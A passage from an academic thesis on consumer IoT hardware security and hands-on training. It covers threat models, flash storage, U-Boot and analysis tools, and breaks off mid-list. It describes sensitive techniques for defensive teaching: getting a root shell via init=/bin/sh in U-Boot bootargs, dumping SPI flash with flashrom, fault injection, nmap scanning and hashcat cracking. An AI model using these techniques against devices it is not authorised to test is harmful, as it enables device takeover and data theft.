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Abstract

Consumer-grade Internet of Things (IoT) devices, such as low-end routers, IP cameras and
other always-connected appliances, have become an integral part of modern life, providing
everyday connectivity and digital services in homes and small businesses. However, their
affordability often comes at the expense of security. Manufacturers targeting the consumer
market prioritise cost and usability, resulting in devices with critical vulnerabilities that
can be exploited to gain unauthorised access and steal sensitive data. Tampered devices
containing Trojan horses can also be reintroduced into the market. This widespread fragility
highlights systemic weaknesses in the IoT ecosystem and emphasises the need for a practical
approach to understanding hardware security.

At the same time, opportunities for hands-on hardware security training remain limited.
Practical exercises on physical devices are rare and are often confined to expensive, hard-to-
reach conferences. Furthermore, access to virtual platforms capable of realistic hardware
simulation is restricted. Unlike software-focused Capture the Flag (CTF) exercises, which
can be set up quickly with minimal resources, hardware-oriented education faces higher
development barriers. It is difficult to provide learners with realistic device responses and
interactions, not to mention reliable teaching materials that accurately reflect actual device
behaviour. These limitations create a gap between the vulnerabilities present in everyday
devices and the ability of professionals to study and mitigate them in a reproducible learning
environment.

To address the issue, the study evaluates real consumer IoT devices to identify vulnera-
bilities in their hardware, firmware, companion mobile apps, and network protocols. The
aim is to transform the findings into educational resources by collecting as much informa-
tion as possible about the devices’ behaviour. Such resources are intended to provide a
basis for virtual training environments in which learners can perform exercises based on
these artefacts to explore the hardware security domain, examine exploitation techniques,
analyse vulnerabilities and discover defensive techniques — all without the need for physical
hardware. This will lower barriers and make hands-on hardware security training more
accessible.

The evaluation revealed several vulnerabilities, such as poor or complete lack of authen-
tication in serial consoles, which could allow full system control upon hardware connection.
Similarly, firmwares were found to be at risk due to unprotected flash memories and
bootloaders lacking secure boot, which could enable tampering and supply-chain attacks.
Companion app communications were sometimes unencrypted — exposing certain sensi-
tive data such as video streams in RTP — or lacked certificate validation, leaving them
susceptible to man-in-the-middle attacks.
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Chapter 1

Introduction

In the contemporary era, technological devices and systems are ubiquitous, thereby rendering
security a pivotal concern. The Internet of Things (IoT), however, is based on a different
principle, where manufacturers prioritise cost reduction and essential functionality over
the implementation of robust security measures. The market provides consumer-grade
embedded devices, such as home routers and surveillance cameras, which are equipped with
only basic security features. The market is confronted with a dilemma where the necessity
to render devices economical is in direct opposition to the necessity to ensure their security.
This has resulted in a multitude of products that are inherently vulnerable to security
breaches. These weaknesses extend far beyond individual devices. For instance, a flaw in a
single webcam model can allow attackers to access live video streams from an entire family
of similar devices, while insecure routers can provide entry points into entire home or office
networks. In addition, attackers have demonstrated their ability to conduct supply-chain
attacks by distributing compromised units within the market.

The pervasive issue of insecurity is made worse by a significant educational problem,
as students do not have enough accessible resources to pursue studies in the domain of
hardware security. The software domain offers accessible online courses and virtual Capture
the Flag (CTF) competitions; however, hardware security remains a niche field with high
barriers to entry. The financial burden of professional training courses, in conjunction with
the necessity for specialised equipment and laboratory facilities, poses significant obstacles
for beginners trying to take their first steps in the field. Consequently, many individuals in
the field possess only a rudimentary understanding of hardware security, which may impede
their capacity to identify and address vulnerabilities in hardware systems.

This thesis addresses two key issues: firstly, the prevalence of insecure consumer IoT
devices, and secondly, the educational gap in hardware security. The present study evaluates
the security of low-cost embedded devices by testing their hardware interfaces (e.g. UART
debug ports and SPI NOR flash), firmware structures, network protocols, and compan-
ion applications. The research documents discovered vulnerabilities alongside the tools,
methodologies, and procedures used to identify them, producing a comprehensive set of
artifacts — including firmware images extracted from SPI flash, filesystem dumps (e.g.
SquashFS and JFFS2), network captures, UART bootlogs and exploitation techniques —
that reflect real world security conditions.
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Introduction

The educational dimension of this work is central to its purpose. The findings and arte-
facts gathered during these assessments are intended to support the development of virtual
hardware security training platforms, contributing to a larger initiative supported by the
ARTIC Project, under the Spoke 4 umbrella of Fondazione SERICS. The overarching vision
is to create web-based environments that simulate realistic hardware scenarios, utilising
visual representations of printed circuit boards (PCBs) and interactive tool interfaces. This
approach enables learners to engage with device analysis and exploitation techniques, such
as identifying and accessing UART debug interfaces or analysing firmware with tools like
binwalk or Ghidra, without the necessity for physical hardware. Consequently, it democra-
tises access to this specialised knowledge, thereby bridging the gap between theoretical
knowledge and practical application.

The security assessments conducted in this research show that a significant propor-
tion of low-cost IoT devices are found to be deficient in fundamental security controls.
The experimental results indicate critical system vulnerabilities, including debug interface
authentication deficiency, the absence of secure boot and firwmare anti-tampering mecha-
nisms, outdated software, unencrypted network communication (e.g. RTSP plaintext video
streaming). The analysis demonstrates how attackers utilise these vulnerabilities to gain
unauthorised hardware access, intercept sensitive communications, and insert backdoors
into the system. The thesis documents actual threats to create educational materials. These
reduce entry barriers for hardware security learning by addressing both insecure device
design problems and workforce training deficiencies.

The remainder of the document is organized as follows. In Chapter 2, Background,
established the foundational concepts of hardware security, embedded systems, and the

threat models relevant to IoT devices, providing the reader with the necessary context to
understand the subsequent analyses. Chapter 3, State of The Art, reviews the current

landscape of security in IoT and embedded systems, as well as existing hardware security
training platforms, contextualizing this work within the literature and identifying gaps in
current approaches. Chapter 4, Contributions, presents the primary contributions of this

thesis, outlining the motivation for the vulnerability assessment of IoT devices and
explaining how this research forms the basis for developing accessible hardware security
training environments. Chapter 5, Experimental Results, details the outcomes obtained

from the security assessments of multiple consumer IoT devices, documenting the
methodologies employed, the vulnerabilities discovered, and the progressive insights gained
throughout the analysis. Finally, Chapter 6, Conclusion, summarizes the findings, discusses

their implications, and outlines directions for future work.
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Chapter 2

Background

The present chapter establishes the fundamental knowledge required to comprehend the
vulnerabilities inherent in embedded and Internet-of-Things devices, as well as the method-
ologies employed to exploit them. The research examines attacker objectives and the ways in
which hardware-based security breaches influence the overall security of systems, outlining
the motivations behind such attacks and the threat types they generate. This chapter does
not proceed by demonstrating specific attack methods. Rather, it establishes a conceptual
framework for readers to analyse forthcoming analyses of chapters. This is achieved by
means of an explanation of hardware security concepts and threat models, and embedded
system characteristics. The section also provides a summary of standard tools and methods
used for hardware and firmware analysis, which help detect and fix security weaknesses.

2.1 Foundations of Hardware Security
Hardware is the foundational element that provides support for all upper-level security
systems, encompassing software protections, cryptographic protocols and access controls.
The security of this system level is pivotal in determining the protection of all systems that
come after it, as attackers can potential flaws and vulnerabilities at this stage to access and
circumvent software security measures. The repercussions of such actions extend beyond
the confines of individual devices, thereby enabling large-scale exploitation.

2.1.1 The Role of Hardware in Cybersecurity
A rigorous taxonomy is imperative to delineate the multifaceted roles of hardware in
cybersecurity. Paolo Prinetto asserts [26] that three distinct yet interconnected concepts
must be accorded equal consideration: Hardware Security, Hardware-based Security, and
Hardware Trust. The three components serve distinct purposes and protect against different
threats during various stages of system development. It is these factors that establish the
basis for reliable embedded systems.

11



Background

Figure 2.1. Hardware Security, Hardware-based Security and Hardware Trust relationship [26]

Hardware Security encompasses all aspects pertaining to hardware components, such
as vulnerabilities with the associated attacks and protective measures, irrespective of the
implementation technology, design tools, or abstraction level utilised. Hardware Security
is responsible for the provision of protective solutions that have been developed with the
purpose of preventing vulnerabilities and attacks during every stage of the process of
developing hardware. The protection is initiated through security-by-design during the
specification and production phases, and is sustained through runtime mitigation and
field patching for deployed devices. The discipline is designed to safeguard the hardware
substrate, thereby facilitating the effective operation of higher-layer protective measures.
This constitutes the last line of defense against potential attacks.

Considering the Hardware-based Security concept, its function is to utilise hardware
components to protect system elements, encompassing software and firmware, in addition
to data and communication channels, from attacks that leverage non-hardware system
vulnerabilities. The paradigm establishes a chain of trust that originates in silicon and
persists through the system stack. This is achieved by employing a series of security
measures, including secure boot, measured boot, remote attestation, sealed storage, and
isolated execution environments. Key implementations include Trussted Platform Module
(TPM) and Trusted Execution Environment (TEE) standards, Memory Protection Units
(MPUs), hardware ciphers, true random number generators, proprietary solutions (ARM

12



2.1 – Foundations of Hardware Security

TrustZone, Intel SGX, Apple Secure Enclave), open platforms (SEcube™, USB Armory),
and repurposed safety features in microcontrollers. The root of trust’s integrity serves as
the fundamental basis, since a compromised hardware substrate can result in the failure of
all connected protections depending on it. It is evident that Hardware Security constitutes
a fundamental enabler for Hardware-based Security.

Hardware Trust protects hardware components by verifying their authenticity and origin,
maintaining their expected behaviour, and defending against physical tampering, malware
attacks and physical interference. The presence of counterfeit products in the marketplace
may include items that have been recycled, modified, overproduced, or defective; in addition,
they may contain cloned parts, which can lead to accelerated deterioration and unaddressed
security vulnerabilities. The process of detection is contingent upon the utilisation of
electrical testing, X-ray imaging, and provenance tracking methodologies. Conversely, the
prevention of such devices necessitates the implementation of unique device identities, such
as the ones enabled by the use of Physically Unclonable Functrions (PUFs) and secure
provisioning mechanisms. The establishment of trust is predicated on the presence of
cryptographic attestation, which serves as a foundational element in the development of
trust-based systems.

The three concepts exist in a dependent relationship because Hardware Security functions
as the foundation for Hardware-based Security, which then supports Hardware Trust through
its defense of authenticity mechanisms.

The research proposed in this thesis focuses on embedded and IoT Hardware Security,
studying the effects of the lack of basic Hardware-based Security primitives such as TPM,
TEE, and secure boot, and Hardware Trust mechanisms including PUF-based keys and
anti-recycling measures, with the final goal of establishing threat models and defense
strategies.

2.1.2 Hardware Security Threats and Adversary Motivations
Adversaries targeting hardware systems pursue objectives that shape their choice of targets,
resource allocation, and operational persistence. These include financial gain, strategic
or competitive advantage, ideological aims, political influence, and military objectives.
Financial incentives are particularly prevalent, facilitated by dark web marketplaces where
vulnerabilities are traded. Such motivations drive theft of intellectual property (IP),
counterfeiting, unauthorized cloning, overproduction in untrusted foundries, ransomware,
botnet formation for Distributed Denial of Service (DDoS) campaigns (e.g., the Mirai botnet
[2]), and illicit use of computational resources for cryptocurrency mining.

State-sponsored actors, including nation-states and intelligence agencies, operate with
large, long-term resources, specialized personnel, and diplomatic cover. Such operations
often combine key extraction, covert backdoor installation, and persistence measures for
espionage and potential future sabotage against critical infrastructure. Insider threats
pose similar risks, introducing hardware Trojans (HTs), leaking source code, or sabotaging
tape-outs through disgruntled employees. Corporate espionage employs device acquisition,
reverse engineering, and talent poaching, while security researchers and hacktivists may
responsibly disclose zero-day vulnerabilities that can be misappropriated for malicious
purposes.

Hardware security threats span the entire device lifecycle, from specification and design
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Background

to fabrication, deployment, maintenance, and decommissioning. The complexity of global
supply chains exposes systems to untrusted actors, including IP vendors, offshore foundries,
subcontracted test houses, and secondary resale markets. Malicious modifications during
design, fabrication, assembly, or post-market resale — often manifesting as hardware
Trojans — may remain dormant until triggered. Broader systemic risks arise from supply-
chain compromises, such as tampered firmware images, breaches of update servers, or
the introduction of counterfeit units through uncontrolled manufacturing. Counterfeit or
recycled components bypass quality controls, introducing defects that compromise safety
and reliability.

The impact of these attacks is severe. Unauthorized firmware extraction and functional
cloning allow replication of device designs and identification of latent vulnerabilities. Such
devices can void warranties, enable malware propagation, bypass digital-rights protections
(DRM), and threaten IoT networks. Active manipulation of hardware or embedded software
can degrade performance, induce denial-of-service, or inflict physical damage to critical
infrastructure, as exemplified by Stuxnet [11]. Trust breaches at a single point can propagate
across product families sharing components, firmware, or update infrastructure, as with
Spectre [19] and Meltdown [22].

Mitigation requires a layered, lifecycle-oriented approach. Supply-chain diversification,
split manufacturing, logic locking, and proactive market surveillance enhance long-term
resilience [30]. Secure hardware elements and device-unique identities (e.g., on-die identifiers)
reinforce provenance, while firmware protections—including secure boot, encrypted storage,
update verification, and rollback prevention—ensure confidentiality and integrity [9].

2.1.3 Technical Aspects of Hardware Compromise
Hardware subversion employs diverse techniques for privilege escalation, data extraction, or
control hijacking, exploiting physical access or implementation weaknesses.

Extracting Secrets and Firmware

Confidential assets, comprising cryptographic keys, authentication tokens, and proprietary
algorithms, can be obtained to facilitate IP theft, industrial espionage, or the crafting of
further attacks. Firmware extraction enables reverse engineering and the identification of
vulnerabilities.

Acquisition can be performed using three main categories of methods:

• Non-invasive techniques: In-system Flash dumping via serial interfaces (UART) or
interception of Over-the-Air (OTA) updates.

• Invasive approaches: Decapsulation, Ball Grid Array (BGA) package desoldering, and
chip-off extraction.

• Semi-invasive attacks: Dumping Flash storage by connecting an external programmer
in-situ (e.g., using a CH341A-based board), or dumping RAM via cold-boot attacks
(which exploit residual data in RAM immediately after power-off to recover sensitive
information like encryption keys [13]).
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2.2 – Embedded Systems Fundamentals

Side-channel analysis is a powerful non-invasive technique that infers secrets by mea-
suring physical signals—power consumption, electromagnetic (EM) emissions, and timing
variations—during cryptographic operations. Techniques include Simple Power Analysis
(SPA) for visual pattern detection, Differential Power Analysis (DPA) [20] for statistical
key extraction, and Correlation Power Analysis (CPA) [8] which utilizes leakage models.
EM analysis similarly observes emissions to reveal internal activity without interfering with
execution.

To ensure confidentiality, firmware must be encrypted and obfuscated to hinder analysis.
Modern System-on-Chip (SoC) designs utilize tamper-resistant components, such as firmware
TPMs (fTPMs) and Physical Unclonable Functions (PUFs), to safeguard keys; physical
probing of a PUF alters its inherent characteristics, destroying the secret it protects. Against
side-channel attacks, effective countermeasures include constant-time execution, blinding,
masking, and tamper-resistant packaging or EM shielding [6]. While earlier standards like
FIPS 140-2 missed these vectors, FIPS 140-3 introduces Test Vector Leakage Assessment
(TVLA) to evaluate information leakage [32, p. 422].

Gaining Control and Tampering the System

Attackers may attempt to modify device behaviour by inserting Trojans, bypassing DRM,
or altering main functionalities to obtain full control.

Exposed debug interfaces (UART/JTAG/SWD) and unprotected bootloaders allow
attackers to halt cores, inspect memory/registers, or modify boot variables to execute
unauthorised kernel code. It is also possible to reflash storage using external programmers.
Vulnerabilities are amplified by insecure processes such as unsigned OTA procedures or
untrusted software distribution channels.

Active fault-injection techniques — including voltage or clock glitching, electromagnetic
pulses, laser/optical strikes, and Rowhammer [18] — can momentarily disturb a device’s
computations without physical modification. Precisely timed faults (e.g., using tools like
ChipWhisperer) may induce skipped checks or corrupted intermediate values, enabling
attackers to bypass secure-boot flows or undermine access controls. Such attacks have been
demonstrated even against hardware wallets like the Trezor family [32, p. 223].

Operational safeguards against these integrity attacks include guarded debug-interface
access and continuous monitoring. This involves anomaly detection, canary-based integrity
checks, and dedicated sensors for fault or glitch detection [27]. Finally, a robust root-of-trust
implementation with immutable measurements ensures only authorized code is executed,
protecting against persistent modification.

2.2 Embedded Systems Fundamentals
Understanding embedded architecture is essential for threat contextualization and analy-
sis. While commercial devices rely on standardised, reusable components that accelerate
development, they also create shared vulnerability surfaces.
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Background

2.2.1 What is an Embedded System
Embedded Systems are specialized computing platforms integrated within larger mechani-
cal/electronic systems, designed for dedicated functions under constraints of power, size,
cost, and real-time responsiveness. Unlike general-purpose systems, embedded platforms
often feature fixed firmware, minimal peripherals, and application-specific instruction sets.
They range from simple 8-bit microcontrollers in appliances to 64-bit SoCs in smart TVs,
often operating headless for their entire lifecycle.

2.2.2 Commercial Embedded Systems and Common Components
Many modern embedded devices are built around System-on-Chip (SoC) designs, which
integrate multiple functional blocks or intellectual-property (IP) cores on a single die.
Depending on the product, a SoC may include analog front-ends (for example, ADCs or RF
front-ends), digital processors (CPUs, GPUs, or DSPs), cryptographic accelerators, on-chip
memory (RAM, ROM, and flash), and power-management circuitry.

Embedded products frequently make extensive use of commercial off-the-shelf (COTS)
components and modules to shorten time-to-market and reduce development cost. Standard
debug and test interfaces (for example, UART, JTAG/SWD) simplify validation and
development but can also expose attack surfaces if left accessible in production units.
Although these interfaces can be permanently disabled — for instance by blowing eFuses
that lock the chip’s debug interfaces — this is not always practical, as manufacturers and
end users may occasionally require legitimate troubleshooting or recovery access, which
discourages complete removal.

Ecosystem-level reuse is common: widely used bootloaders (e.g., U-Boot), operating
systems (Linux and various RTOSes), vendor SDKs (ESP-IDF, STM32Cube, etc.), and
popular development modules and boards (ESP32 modules, Raspberry Pi Compute Modules,
Arduino boards) combine to produce ready-to-deploy embedded platforms. While this reuse
accelerates development, it can also propagate vulnerabilities across products.

A number of insecure practices are repeatedly observed across the industry — for
example, unchanged default credentials, disabled or absent secure-boot configurations,
insufficiently authenticated update mechanisms, and embedded or hardcoded cryptographic
material — all of which increase the risk of compromise if not addressed.

2.2.3 Different Types of Non-Volatile Storage
• SPI NOR: small-capacity Flash memory (usually 1–64 MB, occasionally up to

256 MB). It can execute code directly (XIP, execute in place: the CPU can run
code directly from Flash without copying it to RAM, but this has typically slower
execution than running on RAM). Access is simple via low-pin-count serial interfaces.
It lacks an internal storage controller (no FTL); the host manages data directly. Such
type of memory is extremely common and one of the most used type of Flash memory
in embedded systems.

• Raw NAND: high density low cost Flash memory (hundreds of MB to GB). Organized
in pages/blocks (not byte-addressable). It’s connected via a parallel bus to the external
controller: the host must implement the driver/FTL for ECC (Error Correction Code),
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wear-levelling, and Bad Block Management (BBM). Used for large data storage in
legacy systems and high-end industrial routers.

• SPI NAND: A hybrid solution offering the high density of NAND with the simpler
serial interface of SPI (reduced pin count). Unlike legacy Raw NAND, modern SPI
NANDs often include on-die ECC, offloading the bit-correction burden from the host,
although the host must still manage logical-to-physical mapping and bad blocks. Ideal
for high-capacity storage in IoT devices, where SPI NOR is too small-sized and eMMC
too costly.

• Managed NAND (eMMC/UFS): NAND Flash with a sophisticated integrated
controller that hides the complexity of NAND physics (ECC, wear-leveling, BBM)
behind a standard block device interface. UFS (high-speed serial interface, standard
in modern smartphones) is faster and more advanced than eMMC (parallel interface,
common in legacy or low-cost mobile/embedded). BGA packaging usually requires
desoldering or socket programming for chip-level access.

• EEPROM: byte-addressable and small data size (typically less than 1MB) memory
optimized for high endurance. Used for small configuration data (calibration, MAC
addresses, serial numbers). Found in microcontrollers and SoCs.

• OTP / eFuses: One-Time Programmable memory implemented via physical fuses
(burning silicon links). Critical for the Hardware Root-of-Trust: they store the Public
Key Hash (ROTPK) for Secure Boot validation, JTAG disable bits, and unique device
encryption seeds. Once blown, the state is immutable at the hardware level.

The interface type and packaging affect how easy it is to access the memory. SPI NOR
devices are typically offered in SOIC-8/SOP-8 packages, which makes them easy to probe
in-situ via test clips (with an external programmer, e.g. CH341A) [32, p.89]. Parallel
NAND, SPI NAND, and BGA-packaged eMMC/UFS usually require desoldering, socket
programming, or specialized programming interfaces.

2.2.4 MTD Partitions and Common Filesystems
Memory Technology Device (MTD)

In Linux-based embedded systems, access to raw Flash memory is provided through the
MTD subsystem, which offers a unified interface for Flash devices that differs from standard
block or character devices. A key characteristic of Flash memory is that an entire block
must be erased before it can be rewritten. While modern block devices (SSDs, USB drives,
eMMC, etc.) use the same NAND Flash technology, their built-in Flash Translation Layer
(FTL) hides this requirement, allowing them to behave like ordinary block devices. The
MTD subsystem, in contrast, exposes the erase-before-write behavior directly to software.
Flash memory also exhibits random-access capabilities and wear-out characteristics, unlike
simple character streams (e.g. mouse or keyboard). Data cannot be overwritten at the byte
level; instead, entire blocks (typically 64-256 KiB) must be erased to all 1s before any bit
can be set to 0.

17



Background

Flash memory is generally organised into various partitions, which encompass the
bootloader, environment variables, kernel, root filesystem, and user or configuration data.
There are two methods that can be employed in order to verify the layout of partitions. The
initial method involves inspecting the /proc/mtd directory, or alternatively, the examination
of the boot log messages. The second approach involves conducting a direct analysis of the
firmware blob, with the objective of manually identifying the various areas or partitions, as
well as any system file, which collectively define the partition layout.

Common Filesystems

• JFFS2 (Journaling Flash File System v2) A log-structured filesystem for raw
Flash (NOR/NAND) operating directly on MTD, provides support for compression
through zlib, lzo, and lzma, and enables features such as hard links, wear-leveling,
and garbage collection. It’s characterised by the concurrent storage of metadata
and data in sequential nodes, which are located within eraseblocks that bear version
numbers. The process of garbage collection has the function of reclaiming obsolete
nodes and evenly spreading erase cycles across all eraseblocks to prevent some blocks
from wearing out faster than others. It skips any blocks that the MTD layer has
identified as unreliable/bad, so it never allocates data there; it also performs scan
of all nodes during the mounting process, with the objective of restoring the entire
filesystem to its original state. It functions in the absence of power interruptions;
however, it requires a greater duration to mount large partitions.
Use in embedded systems: It functions as a writable filesystem. It has been
engineered to provide native support for the management of wear and bad blocks, as
well as power loss resilience, without the necessity for a block-emulation layer. This
development is expected to result in enhanced reliability for raw NAND/NOR.

• SquashFS A read-only compressed file system that has been optimised for use
on memory-constrained embedded systems. It supports a variety of compression
algorithms, including zlib, lz4, lzo, xz, lzma2, and zstd, and block sizes ranging
from 4 KiB to 1 MiB. It has been developed to store both data and metadata in
a unified manner, whilst providing support for a range of file formats, including
fragments, directory indexes, sparse files, and NFS export. It has been engineered to
prevent runtime wear by operating in read-only mode. However, in order to apply
updates, users are required to create a new image with the mksquashfs program.
Use in embedded systems: It is used as static system partitions, encompassing the
kernel, libraries and firmware, due to the fact that it delivers 2-3x compression results
and expeditious mount times, whilst exhibiting zero runtime wear (since read-only).

Extraction Tools

Tools like jefferson (JFFS2) and sasquatch (SquashFS) allow users to extract and rebuild
these file systems by working with raw Flash images.
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2.2.5 Common CPU Architectures and Memory Models
Modern systems rely on a few dominant CPU architectures, balancing performance, power
efficiency, and security through mechanisms like memory protection and virtual addressing.

• ARM Family: Dominant architecture in embedded and IoT, ranging from microcon-
trollers to high-performance SoCs. Key features include memory access control and
TrustZone security (a TEE).

– Cortex-M Series: Low-power microcontrollers (e.g., STM32, nRF52/53). Simpli-
fied memory model: no MMU, optional MPU (Memory Protection Unit) with
few regions, direct memory access. Ideal for lightweight IoT.

– Cortex-A Series: Powerful SoCs (e.g., Linux-based gateways, routers). Features
MMUs providing virtual memory support and page tables. Memory types include
Normal (can be cached, reorderable) and Device (uncached, non-reorderable).

• MIPS: Found in legacy or entry-level embedded systems (e.g., routers). Often uses a
fixed virtual-to-physical segmentation for cores without a full MMU. Segments include
KUSEG (user virtual, TLB-translated), KSEG0 (kernel cached, direct-mapped), and
KSEG1 (kernel uncached, direct-mapped).

• Other Architectures: Includes RISC-V (emerging open-source ISA for low-power
IoT), Xtensa cores (configurable, popular in ESP32/Wi-Fi/BLE devices), and AVR/PIC
(basic automation, e.g., ATmega in Arduino).

ARM cores dominate modern IoT, covering both higher-performance SoCs (Cortex A)
and low-power microcontrollers (Cortex M). ESP32/Xtensa remains popular in maker and
consumer devices. RISC-V is emerging in low-power and experimental designs, while MIPS
and AVR/PIC persist mainly in legacy or cost-sensitive applications.

2.2.6 U-Boot: Practical Overview and Interaction
Overview U-Boot (Das U-Boot) is a universal open-source bootloader widely used in
embedded and IoT devices (routers, webcams). It executes immediately after the SoC Boot
ROM loads it from non-volatile storage. U-Boot initializes essential hardware, provides a
UART console, manages persistent environment variables, and supports flexible booting
(local/network).

Boot stages and initialization U-Boot often uses a two-stage process: a minimal
Secondary Program Loader (SPL) for initial setup (like DRAM initialization), followed by
the full U-Boot binary. It enables only required peripherals (UART, Flash, Ethernet). The
boot sequence is defined by the configurable bootcmd. Control is passed to the OS kernel
entry point once loaded.

Interactive shell and commands If interrupted, U-Boot enters an interactive shell.
This allows memory inspection/modification (md, mw), Flash access (mmc, sf, nand), network
operations (tftpboot), and manual booting (bootm, bootz). Persistent variables (bootcmd,
bootargs) are managed with printenv, setenv, and saveenv.
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Physical interaction and typical workflows Interaction requires a USB-TTL adapter
connected to the UART pins (typically 3.3V/1.8V, 115200 baud). Pressing any key within
the bootdelay window grants shell access. Attackers can examine or modify Flash/memory
(e.g., sf read/write) or alter boot parameters, such as setting init=/bin/sh in bootargs
to gain a root shell, assuming the kernel honors the command line.

Security considerations Most consumer devices ship with an unlocked UART console
and lack secure boot enforcement, making full system compromise trivial with physical
access. An attacker can easily modify U-Boot or the kernel. Security requires SoC-level
authentication of signed bootloader binaries as the trust anchor, followed by verified boot
for the kernel, and the disabling or restriction of debug interfaces (UART, JTAG). If the
SoC ROM does not authenticate U-Boot, downstream protections fail. U-Boot is the first
user-accessible stage after the SoC ROM, representing a critical attack surface.

2.2.7 Real-Time Operating Systems (RTOS) vs Linux-Based Sys-
tems

The IoT landscape can be divided into Linux-based systems and real-time operating
systems (RTOS), reflecting a trade-off between rich functionality and deterministic
behavior. Hardware characteristics drive this choice: gateways and edge devices typically
favor Linux, while sensor and actuator nodes rely on lightweight RTOS.

Key RTOS Characteristics

RTOS ensure predictable, low-latency operation on constrained microcontrollers (typically
<1 MB RAM, often without an MMU). Representative examples include:

• RT-Thread: Modular, small-footprint kernel (base kernel ∼3 KB, can grow with
optional modules) with preemptive scheduling, priority inheritance, and thread-safe
IPC. Supports ARM and RISC-V. Optional GUI and filesystem middleware are
available. Suitable for wearables, IoT hubs, and safety-critical applications requiring
deterministic response.

• eCos: Highly configurable kernel (10-100 KB depending on configuration) with HAL
abstraction, lightweight networking, and rapid boot-time. Optimized for deeply
embedded, low-power systems and legacy industrial controllers.

• FreeRTOS: Minimalistic kernel (6-10 KB for basic configurations) with preemptive
priority scheduling, software timers, and lightweight IPC. Supports multiple archi-
tectures (ARM Cortex-M, RISC-V, ESP32) and integrates with various middleware.
Suitable for simple sensors and moderately complex embedded nodes.

RTOS commonly employ static memory allocation and tickless idle modes. Context-
switch latency can be very low (often tens of microseconds or below on small MCUs), but
exact values depend on the hardware and kernel configuration.
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Linux-Based IoT Systems

Linux-based environments encompass both general-purpose distributions (e.g., OpenWrt,
Ubuntu Core) and custom images generated via build systems (e.g., Buildroot). These
systems deliver rich networking stacks, complex filesystems, and extensive driver ecosystems.
They rely on dynamic memory, multitasking, and POSIX compliance. Standard Linux
scheduling introduces nondeterministic latency. The PREEMPT_RT patch can improve real-
time behavior, typically reducing soft real-time response to hundreds of microseconds by
making Linux more "interruptible" so high priority tasks can preempt almost any kernel
operation, though it has more complexity compared to a native RTOS.

Design Trade-Offs

• Determinism: RTOS provide predictable latency; Linux offers best-effort scheduling.

• Footprint: RTOS operate with tens of KB; Linux requires tens of MB.

• Functionality: Linux enables rich connectivity, user-space processes protections,
better and easier support development; RTOS favor reliability, static allocation, and
simplified certification.

Hybrid Architectures

A common approach couples Linux on a high-performance core for connectivity and user
interfaces with an RTOS on a co-processor or low-power core for real-time tasks, ensuring
deterministic control while leveraging Linux scalability.

Application Guidance

• RTOS: Preferred for battery-powered sensors, control loops, or safety-critical applica-
tions requiring low-latency, predictable behavior.

• Linux: Suitable for gateways, edge devices, or nodes needing complex connectivity,
rapid prototyping, and extensive software libraries.

2.3 Hardware and Software Tools for Embedded Sys-
tems Analysis

Instrumental support for embedded systems analysis comprises a set of hardware interfaces
and software utilities selected to enable physical access, artifact acquisition, and behavioural
examination. The following text adopts an academic register and employs passive con-
structions; methods and tools are described in narrative form with concrete examples of
commonly used instruments, commands and parameters to avoid excessive generality.
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2.3.1 Hardware Instrumentation
Measurement and interfacing instruments are required to perform reliable analysis. In
figure 2.2 there are, ordered by number in the picture, the following tools: (1) multimeter,
(2) UART-to-TTL adapter, (3) logic analyzer, (4) CH341A external programmer with a
SOIC8/SOP8 test clip, (5) PCBite probes and holders.

Figure 2.2. Typical hardware hacking tools

• Multimeters and oscilloscopes: Precision digital multimeters and oscilloscopes
are used for measuring voltage, current, and timing, and for locating debug interfaces.

• Logic analyzers: Logic analyzers are used to capture and decode serial buses (e.g.,
SPI, UART, etc.). Both commercial devices, such as the Saleae Logic series, and
lower-cost alternatives are commonly employed for this purpose.

• UART access and JTAG/SWD discovery: USB-to-UART (USB-to-TTL) adapters
serve as the main connection between device consoles and debug output systems be-
cause they link the host PC with the target UART pins through TX->RX, RX->TX,
and GND connections and typically operate at 115200 baud. Instead, for low-level
access via JTAG/SWD, specialized tools like BlueTag [3] and JTAGulator are typi-
cally used to identify the relevant pins, and enabling interaction with the interface for
debugging and firmware extraction.
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• External Flash programmers - in-situ & chip-off: External Flash programmers,
such as the CH341A, are tools used to access memory chips either in-situ with test
clips or off the board (chip-off). In-situ dumps are convenient but less reliable, often
requiring multiple reads, hash verification, and careful repositioning of the clip to
avoid corrupted data. Chip-off access, with the Flash removed, offers more stable and
reliable results.

• PCBite-style probes: PCBite pogo pins and holders provide stable, non-destructive
electrical contact with test points on a live board. These spring-loaded pogo pins use
an internal spring mechanism that allows the probe tip to move back slightly when
pressed against a surface. This ensures consistent pressure and a reliable temporary
connection during debugging or measurement, without the need for soldering.

• Fault injection and side-channel tools: Fault injection platforms and side-
channel analysis tools are applied when active manipulation is necessary. For instance,
ChipWhisperer is widely used for voltage and clock glitching and for power-analysis
(SCA) experiments. These setups demand precise synchronization between instruments
to ensure repeatable and meaningful results.

2.3.2 Software Toolchain
A modular software toolchain complements the hardware suite and supports extraction,
static inspection, dynamic instrumentation and network analysis.

• Firmware acquisition: utilities are used to read and write Flash memories; flashrom
is commonly invoked with a command such as flashrom -p ch341a_spi -r dump.bin
to perform SPI/NOR dumps via a CH341A programmer, and verification is achieved
by subsequent hashing (e.g., sha256sum dump.bin).

• Binary unpacking and filesystem discovery: tools (for example, binwalk -Me
dump.bin, allyourbase [1] or 7z x) enable identification and extraction of embedded
archives and compressed filesystems (LZMA, SquashFS, U-Boot environment). Extrac-
tion steps typically include binwalk –dd=’.*’ dump.bin to carve known signatures,
and unsquashfs to expand SquashFS images.

• Entropy analysis: Entropy measurements are used to detect encrypted or compressed
regions. A Shannon entropy above approximately 7.5 bits per byte often indicates
compression or encryption. However, high entropy does not always imply encryption,
as some types of normal data, such as video, can naturally exhibit high entropy
without being encrypted.

• Disassembly and decompilation: frameworks such as Ghidra are employed to
reconstruct program structure, annotate functions and inspect control/data flow;
recommended project steps include architecture selection, selection of binary base
address, auto-analysis pass, importing symbols where available and applying function
signatures from common libraries. Complementary tools such as radare2 or IDA Pro
(where licensed) are used for cross-validation.
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• Dynamic instrumentation: frameworks (for example, Frida) allow runtime hooking
and API interception on mobile devices: this is particularly useful when analyzing com-
panion mobile apps that control IoT devices. An example invocation is frida-trace
-f ./binary -i "open*" to monitor file-open calls.

• Network capture and analysis: utilities (Wireshark, PCAPDroid for Android
captures) are applied to examine protocol implementations, communication vulnera-
bilities, and OTA mechanisms; passive captures and active enumeration using nmap
-sV -p- <target> are used to characterise exposed interfaces.

• Password recovery and cryptanalysis: specialized utilities (for example, hashcat
with appropriate hash-mode flags and tuned GPU parameters) are applied when
credential material or hashed secrets are encountered.

• Certificate and key inspection: artifacts are inspected using openssl commands
